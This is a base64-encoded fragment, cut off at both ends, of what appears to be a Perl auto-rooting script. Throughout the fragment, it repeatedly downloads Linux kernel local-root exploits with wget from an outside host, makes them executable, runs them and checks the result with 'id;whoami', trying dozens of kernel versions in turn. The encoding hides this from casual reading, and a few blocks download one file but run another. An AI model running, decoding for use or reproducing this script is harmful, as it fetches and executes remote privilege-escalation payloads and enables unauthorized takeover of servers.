tMjc0LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMi1ob29seXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuMi1ob29seXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjAiKTsNCnN5c3RlbSgiLi8yLjYuMjAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMC0yIik7DQpzeXN0ZW0oIi4vMi42LjIwLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjIiKTsNCnN5c3RlbSgiLi8yLjYuMjIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMi0yMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMi02LTg2XzY0LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNCIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNF8yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiLi8yLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjQiKTsNCnN5c3RlbSgiLi8yLjYuMjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI3LjctZ2VuZXJpIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiLi8yLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oIi4vMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsNCnN5c3RlbSgiLi8yLjYuMzMiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzctcmMyIik7DQpzeXN0ZW0oIi4vMi42LjM3LXJjMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzQiKTsNCnN5c3RlbSgiLi8yLjYuNi0zNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNl9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi43X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi43X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtMjAwOC45LTY3LTIwMDgiKTsNCnN5c3RlbSgiLi8yLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi44X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi44X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkiKTsNCnN5c3RlbSgiLi8yLjYuOSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA0Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMzQiKTsNCnN5c3RlbSgiLi8yLjYuOS0zNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiLi8yLjYuOS00Mi4wLjMuRUxzbXAtMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUiKTsNCnN5c3RlbSgiLi8yLjYuOS01NSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA3LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS4yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS4yIik7DQpzeXN0ZW0oIi4vMi42LjkuMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiLi8yLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA3Iik7DQpzeXN0ZW0oIi4vMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LWxvY2FsIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LWxvY2FsIik7DQpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LXd1bmRlcmJhciIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiLi8yMDA5LXd1bmRlcmJhciIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCIuLzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjEiKTsNCnN5c3RlbSgiLi8yMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOw0Kc3lzdGVtKCIuLzMuNC42LTktMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMzEiKTsNCnN5c3RlbSgiLi8zMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zNi1yYzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDM2LXJjMSIpOw0Kc3lzdGVtKCIuLzM2LXJjMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0Iik7DQpzeXN0ZW0oIi4vNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsNCnN5c3RlbSgiLi80NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDciKTsNCnN5c3RlbSgiLi80NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA1Iik7DQpzeXN0ZW0oIi4vNSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTAiKTsNCnN5c3RlbSgiLi81MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2Iik7DQpzeXN0ZW0oIi4vNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNjciKTsNCnN5c3RlbSgiLi82NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83LTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOw0Kc3lzdGVtKCIuLzctMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgN3giKTsNCnN5c3RlbSgiLi83eCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVt